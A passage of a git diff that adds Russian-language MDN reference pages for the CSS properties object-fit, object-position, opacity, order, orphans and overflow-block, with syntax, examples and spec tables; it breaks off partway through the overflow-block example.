+<p>Свойство<strong> <code>object-fit</code></strong> определяет, как содержимое заменяемого элемента, такого как <a href="/ru/docs/Web/HTML/Element/img" title="The HTML &lt;img> element embeds an image into the document. It is a replaced element."><code>&lt;img&gt;</code></a> или <code><a href="/ru/docs/Web/HTML/Element/video" title="The HTML Video element (&lt;video>) embeds a media player which supports video playback into the document.">&lt;video&gt;</a></code>, должно заполнять контейнер относительно его высоты и ширины.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/object-fit.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<p class="brush:css">Для <code>object-fit</code> можно указать одно из нижеперечисленных свойств.</p>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt><code>fill</code></dt>
+ <dd>Смещаемый контент меняет свой размер таким образом, чтобы заполнить всю область внутри блока: используется вся ширина и высота блока.</dd>
+ <dt><code>contain</code></dt>
+ <dd>Смещаемый контент меняет свой размер таким образом, чтобы подстроится под область внутри блока пропорционально собственным параметрам: окончательный размер контента будет определен как "помещенный внутрь" блока, ограничиваясь его шириной и высотой.</dd>
+ <dt><code>cover</code></dt>
+ <dd>Смещаемый контент меняет свой размер таким образом, чтобы сохранять свои пропорции при заполнении блока: окончательный размер контента будет определен как "покрытие" блока, ограничиваясь его шириной и высотой.</dd>
+ <dt><code>none</code></dt>
+ <dd>Смещаемый контент не изменяет свой размер с целью заполнить пространство блока: конечный размер контента будет определен с использованием алгоритма изменения размера по умолчанию, а также размер объекта по умолчанию равен ширине и высоте смещаемого контента.</dd>
+</dl>
+
+<dl>
+ <dt><code>scale-down</code></dt>
+ <dd>Контент изменяет размер, сравнивая разницу между <code>none</code> и <code>contain, </code>для того, чтобы найти наименьший конкретный размер объекта.</dd>
+</dl>
+
+<h3 id="Правильный_синтаксис">Правильный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="HTML_Контент">HTML Контент</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;h2&gt;object-fit: fill&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="fill narrow"/&gt;
+
+  &lt;h2&gt;object-fit: contain&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="contain narrow"/&gt;
+
+  &lt;h2&gt;object-fit: cover&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="cover narrow"/&gt;
+
+  &lt;h2&gt;object-fit: none&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="none narrow"/&gt;
+
+  &lt;h2&gt;object-fit: scale-down&lt;/h2&gt;
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down"/&gt;
+
+  &lt;img src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo" class="scale-down narrow"/&gt;
+
+&lt;/div&gt;</pre>
+
+<h3 id="CSS_Контент">CSS Контент</h3>
+
+<pre class="brush: css">h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 500, 450) }}</p>
+
+<h2 id="Specifications" name="Specifications">Технические параметры</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td><code>Добавлены ключевые слова from-image</code> <code>и flip</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Браузерная совместимость</h2>
+
+<p>{{Compat("css.properties.object-fit")}}</p>
+
+<h2 id="See_also" name="See_also">Смотри также</h2>
+
+<ul>
+ <li>Другие свойства CSS, связанные с изображениями (картинками): {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+ <li>{{cssxref("background-size")}}</li>
+</ul>
diff --git a/files/ru/web/css/object-position/index.html b/files/ru/web/css/object-position/index.html
new file mode 100644
index 0000000000..4b4bf53fff
--- /dev/null
+++ b/files/ru/web/css/object-position/index.html
@@ -0,0 +1,116 @@
+---
+title: object-position
+slug: Web/CSS/object-position
+translation_of: Web/CSS/object-position
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ru/docs/Web/CSS">CSS</a>-свойство <strong><code>object-position</code></strong> определяет выравнивание контента выбранного <a href="/ru/docs/Web/CSS/%D0%97%D0%B0%D0%BC%D0%B5%D1%89%D0%B0%D0%B5%D0%BC%D1%8B%D0%B9_%D1%8D%D0%BB%D0%B5%D0%BC%D0%B5%D0%BD%D1%82">замещаемого элемента</a> внутри блока элемента.</span> На областях блока, не покрытых объектом замещаемого элемента, будет отображаться фон элемента.</p>
+
+<p>Вы можете задавать способ подстройки собственного размера объекта замещаемого элемента (т. е., его естественного размера) под размер блока элемента, используя свойство {{cssxref("object-fit")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/object-position.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers notranslate">/* значения &lt;position&gt; */
+object-position: center top;
+object-position: 100px 50px;
+
+/* Глобальные значения */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+</pre>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;position&gt;")}}</dt>
+ <dd>От одного до четырёх значений, которые определяют 2D-позицию элемента. Могут использоваться как абсолютные, так и относительные значения сдвигов.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Позиция может быть даже такой, что замещаемый элемент будет отрисовываться за пределами своего блока.</p>
+</div>
+
+<h2 id="Формальное_определение">Формальное определение</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Формальный_синтаксис">Формальный синтаксис</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Позиционирование_изображений">Позиционирование изображений</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<p>Здесь мы видим HTML, содержаний два {{HTMLElement("img")}}-элемента, отображающие логотипы MDN.</p>
+
+<pre class="brush: html notranslate">&lt;img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+&lt;img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p>CSS содержит стандартные стили для самого <code>&lt;img&gt;</code>-элемента, а также отдельные стили для обоих изображений.</p>
+
+<pre class="brush: css notranslate">img {
+  width: 300px;
+  height: 250px;
+  border: 1px solid black;
+  background-color: silver;
+  margin-right: 1em;
+  object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+</pre>
+
+<p>Первое изображение расположено с отступом в 10 пикселей относительно левого края блока элемента. Второе изображение расположено своим правым краем впритык к правому краю блока элемента и сдвинуто вниз на 10% высоты блока элемента.</p>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Позиционирование_изображений', '100%','600px') }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.object-position")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Другие CSS-свойства, связанные с изображениями: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.</li>
+</ul>
diff --git a/files/ru/web/css/opacity/index.html b/files/ru/web/css/opacity/index.html
new file mode 100644
index 0000000000..5d0891baac
--- /dev/null
+++ b/files/ru/web/css/opacity/index.html
@@ -0,0 +1,154 @@
+---
+title: opacity
+slug: Web/CSS/opacity
+tags:
+  - CSS
+  - CSS свойство
+  - Opacity
+  - Непрозрачность
+  - Прозрачность
+translation_of: Web/CSS/opacity
+---
+<div>{{CSSRef}}</div>
+
+<p>CSS-свойство <strong><code>opacity</code></strong> устанавливает непрозрачность элемента. Непрозрачность - это степень, в которой содержимое скрывается за элементом, является противоположностью прозрачности.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/opacity.html")}}</div>
+
+
+
+<p><code>opacity</code> применяется к элементу в целом, включая его содержимое, даже если значение не наследуется дочерними элементами. Таким образом, элемент и его потомки имеют одинаковую непрозрачность относительно фона элемента, даже если они имеют различную непрозрачность относительно друг друга.</p>
+
+<p>Использование <code>opacity</code> со значением, отличным от <code>1</code>, помещает элемент в новый <a href="/en-US/docs/CSS/Understanding_z-index/The_stacking_context">контекст наложения</a>.</p>
+
+<p>Если вы  <a href="http://stackoverflow.com/questions/13508877/resetting-the-opacity-of-a-child-elements-maple-browser-samsung-tv-app">не хотите применять opacity к дочерним элементам</a>, используйте взамен свойство {{cssxref("background")}}. Например:</p>
+
+<pre class="brush:css">background: rgba(0, 0, 0, 0.4);</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;alpha-value&gt;</code></dt>
+ <dd>{{cssxref("number", "число")}} в пределах от <code>0.0</code> до <code>1.0</code>, включительно, или {{cssxref("percentage", "проценты")}} в пределах от <code>0%</code> до <code>100%</code>, включительно, представляет непрозрачность канала (т.е. значение его альфа-канала). Любое значение вне интервала, хотя и является валидным, округляется до ближайшего предела в диапазоне.
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Значение</th>
+    <th>Действие</th>
+   </tr>
+   <tr>
+    <td><code>0</code></td>
+    <td>Элемент полностью прозрачен (он становится невидимым).</td>
+   </tr>
+   <tr>
+    <td>Любое {{cssxref("number", "число")}} строго между <code>0</code> и <code>1</code></td>
+    <td>Элемент полупрозрачный (т.е. содержимое элемента можно увидеть).</td>
+   </tr>
+   <tr>
+    <td><code>1</code> (значение по умолчанию)</td>
+    <td>Элемент полностью непрозрачный (видимый).</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Базовый_пример">Базовый пример</h3>
+
+<pre class="brush: css">div { background-color: yellow; }
+.light {
+  opacity: 0.2; /* Едва видимый текст на фоне */
+}
+.medium {
+  opacity: 0.5; /* Видимость текста более четкая на фоне */
+}
+.heavy {
+  opacity: 0.9; /* Видимость текста очень четкая на фоне */
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="light"&gt;You can barely see this.&lt;/div&gt;
+&lt;div class="medium"&gt;This is easier to see.&lt;/div&gt;
+&lt;div class="heavy"&gt;This is very easy to see.&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Базовый_пример', '640', '64')}}</p>
+
+<h3 id="Различная_непрозрачность_с_hover">Различная непрозрачность с <code>:hover</code></h3>
+
+<pre class="brush: css">img.opacity {
+  opacity: 1;
+  filter: alpha(opacity=100); /* IE8 и ниже */
+  zoom: 1; /* Триггеры "hasLayout" в IE 7 и ниже */
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}</pre>
+
+<pre class="brush: html">&lt;img src="<a href="https://developer.mozilla.org/static/img/opengraph-logo.png">//developer.mozilla.org/static/img/opengraph-logo.png</a>"
+  alt="MDN logo" width="128" height="146"
+  class="opacity"&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Различная_непрозрачность_с_hover', '150', '175')}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Если непрозрачность текста регулируется, важно убедиться, что коэффициент контрастности между цветом текста и фоном, на котором размещен текст, достаточно высок, чтобы люди, испытывающие проблемы со слабым зрением, могли читать содержимое страницы.</p>
+
+<p>Коэффициент цветовой контрастности определяется путем сравнения яркости текста с откорректированной непрозрачностью и значением цвета фона. Чтобы соответствовать действующим <a href="https://www.w3.org/WAI/intro/wcag">Рекомендациям по доступности веб-контента (WCAG)</a>, для текстового содержимого требуется соотношение 4.5:1 и 3:1 для более крупного текста, такого как заголовки. Большой текст определяется как 18.66px и <a href="https://developer.mozilla.org/ru/docs/Web/CSS/font-weight">жирный</a> или крупнее, или 24px или выше.</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Определяет <code>opacity</code> как анимированную.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.opacity")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ms532910%28VS.85%29.aspx">Microsoft's filter:alpha(opacity=xx)</a></li>
+</ul>
diff --git a/files/ru/web/css/order/index.html b/files/ru/web/css/order/index.html
new file mode 100644
index 0000000000..8ee0382c91
--- /dev/null
+++ b/files/ru/web/css/order/index.html
@@ -0,0 +1,98 @@
+---
+title: order
+slug: Web/CSS/order
+tags:
+  - CSS
+  - CSS Flexible Boxes
+  - CSS свойства
+translation_of: Web/CSS/order
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство  <strong><code>order</code></strong> определяет порядок, используемый для размещения flex элементов в их flex контейнере. Элементы располагаются в восходящем порядке по значению <code>order</code>. Элементы с одинаковым значением <code>order</code>  располагаются в том порядке, в каком они находятся в исходном коде.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/order.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и пришлите нам pull request.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Числовые значения, в том числе отрицательные */
+order: 5;
+order: -5;
+
+/* Глобальные значения */
+order: inherit;
+order: initial;
+order: unset;</pre>
+
+<div class="note">
+<p><strong>Важно</strong>: <code>order</code> воздействует только на <strong>визуальный порядок</strong> элементов, но не логический порядок или табуляцию. <code><strong>order</strong></code> не должен применяться к невизуальным медиаданным, таким как речь.</p>
+</div>
+
+<p>Посмотрите <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Используем CSS flexible boxes</a> для более подробной информации и дополнительных свойствах.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt;</code></dt>
+ <dd>Представляет порядковую группу, которая присвоена flex элементу.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Имеется базовый отрывок HTML кода:</p>
+
+<pre class="brush:html;">&lt;header&gt;...&lt;/header&gt;
+&lt;main&gt;
+  &lt;article&gt;Article&lt;/article&gt;
+  &lt;nav&gt;Nav&lt;/nav&gt;
+  &lt;aside&gt;Aside&lt;/aside&gt;
+&lt;/main&gt;
+&lt;footer&gt;...&lt;/footer&gt;</pre>
+
+<p>Следующий CSS код должен создать классический блок контента окруженный боковыми панелями. Flexible Box Layout Module автоматически создаёт блоки одинаковой высоты и максимально допустимой ширины.</p>
+
+<pre class="brush:css;">main { display: flex;  text-align:center; }
+main &gt; article { flex:1;        order: 2; }
+main &gt; nav     { width: 200px;  order: 1; }
+main &gt; aside   { width: 200px;  order: 3; }</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example') }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.order")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/docs/Web/Guide/CSS/Flexible_boxes">Используя CSS flexible boxes</a></li>
+</ul>
diff --git a/files/ru/web/css/orphans/index.html b/files/ru/web/css/orphans/index.html
new file mode 100644
index 0000000000..89b79dc9d2
--- /dev/null
+++ b/files/ru/web/css/orphans/index.html
@@ -0,0 +1,117 @@
+---
+title: orphans
+slug: Web/CSS/orphans
+tags:
+  - Верстка
+  - печать
+  - разрыв страницы
+  - фрагментация
+translation_of: Web/CSS/orphans
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/en-US/docs/CSS" title="CSS">CSS</a> <code>orphans</code> устанавливает <em>минимальное</em> число строк в блочном контейнере, которое должно быть показано <em>внизу</em> <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Paged_Media">страницы</a>, региона или <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Columns">столбца</a>.</p>
+
+<pre class="brush:css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* &lt;integer&gt; значения */</span>
+<span class="property token">orphans</span><span class="punctuation token">:</span> <span class="number token">2</span><span class="punctuation token">;</span>
+<span class="property token">orphans</span><span class="punctuation token">:</span> <span class="number token">3</span><span class="punctuation token">;</span>
+
+<span class="comment token">/* Глобальные значения */</span>
+<span class="property token">orphans</span><span class="punctuation token">:</span> inherit<span class="punctuation token">;</span>
+<span class="property token">orphans</span><span class="punctuation token">:</span> initial<span class="punctuation token">;</span>
+<span class="property token">orphans</span><span class="punctuation token">:</span> unset<span class="punctuation token">;</span></code></pre>
+
+<div class="note">
+<p>В типографии, <em>orphan</em> это первая линия абзаца, которая отображается внизу страницы. (Абзац продолжается на следующей странице.)</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<p> </p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<h3 id="Values" name="Values">Значения</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd>Минимальное число строк, которое можно оставить внизу фрагмента перед разрывом фрагмента. Значение должно быть положительным.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the first paragraph containing some text.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the second paragraph containing some more text than the first one. It is used to demonstrate how widows work.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>This is the third paragraph. It has a little bit more text than the first one.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[5] line-numbers language-css"><code class="language-css"><span class="selector token">div</span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#8cffa0</span><span class="punctuation token">;</span>
+  <span class="property token">height</span><span class="punctuation token">:</span> <span class="number token">150</span><span class="token unit">px</span><span class="punctuation token">;</span>
+  <span class="property token">columns</span><span class="punctuation token">:</span> <span class="number token">3</span><span class="punctuation token">;</span>
+  <span class="property token">orphans</span><span class="punctuation token">:</span> <span class="number token">3</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">p</span> <span class="punctuation token">{</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#8ca0ff</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">p<span class="pseudo-class token">:first-child</span></span> <span class="punctuation token">{</span>
+  <span class="property token">margin-top</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<pre class="brush: css; highlight[5] line-numbers language-css"> </pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Example", 380, 150)}}</p>
+
+<div> </div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fragmentation', '#widows-orphans', 'orphans')}}</td>
+   <td>{{Spec2('CSS3 Fragmentation')}}</td>
+   <td>Расширяет <code>orphans</code> для применения в любых фрагментах, включая страницы, регионы и столбцы.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'page.html#break-inside', 'orphans')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("css.properties.orphans")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{cssxref("widows")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Paged_Media">Paged media</a></li>
+</ul>
diff --git a/files/ru/web/css/overflow-block/index.html b/files/ru/web/css/overflow-block/index.html
new file mode 100644
index 0000000000..863222d28f
--- /dev/null
+++ b/files/ru/web/css/overflow-block/index.html
@@ -0,0 +1,135 @@
+---
+title: overflow-block
+slug: Web/CSS/overflow-block
+translation_of: Web/CSS/overflow-block
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> свойство <strong><code>overflow-block</code></strong> устанавливает, что будет отображаться, когда содержимое переполняет начальные и конечные края блока. Это может быть ничего, полоса прокрутки или содержимое переполнения.</p>
+
+<div class="note">
+<p>Свойтсво <code>overflow-block</code> отображается на {{Cssxref("overflow-y")}} или {{Cssxref("overflow-x")}} в зависимости от режима записи документа.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* Значения свойства */
+overflow-block: visible;
+overflow-block: hidden;
+overflow-block: scroll;
+overflow-block: auto;
+
+/* Глобальные значения */
+overflow-block: inherit;
+overflow-block: initial;
+overflow-block: unset;
+</pre>
+
+<p>Свойство <code>overflow-block</code> указывается как одно ключевое слово, выбранное из списка значений ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>visible</code></dt>
+ <dd>Содержимое не обрезается и может отображаться за пределами начального и конечного краев блока отступа.</dd>
+ <dt><code>hidden</code></dt>
+ <dd>При необходимости содержимое обрезается, чтобы соответствовать размеру блока в поле заполнения. Полосы прокрутки отсутствуют.</dd>
+ <dt><code>scroll</code></dt>
+ <dd>При необходимости содержимое обрезается, чтобы поместиться в размер блока в поле заполнения. Браузеры отображают полосы прокрутки вне зависимости от того, вырезано ли содержимое. (Это предотвращает появление или исчезновение полос прокрутки при изменении содержимого.) Принтеры могут по-прежнему печатать переполненное содержимое.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Зависит от пользовательского агента. Если содержимое помещается в поле дополнения, оно выглядит так же, как visible, но все же устанавливает новый контекст форматирования блока. Настольные браузеры устанавливают полосы прокрутки, если содержимое переполняется.</dd>
+</dl>
+
+<h3 id="Формат_синтаксиса">Формат синтаксиса</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;&lt;code&gt;overflow-block:hidden&lt;/code&gt; — скрывает текст за пределами поля
+  &lt;div id="div1"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-block:scroll&lt;/code&gt; — всегда добавляет полосу прокрутки
+  &lt;div id="div2"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
+  &lt;li&gt;&lt;code&gt;overflow-block:visible&lt;/code&gt; — отображает текст вне поля, если это необходимо
+  &lt;div id="div3"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+    &lt;/div&gt;
+  &lt;/li&gt;
+
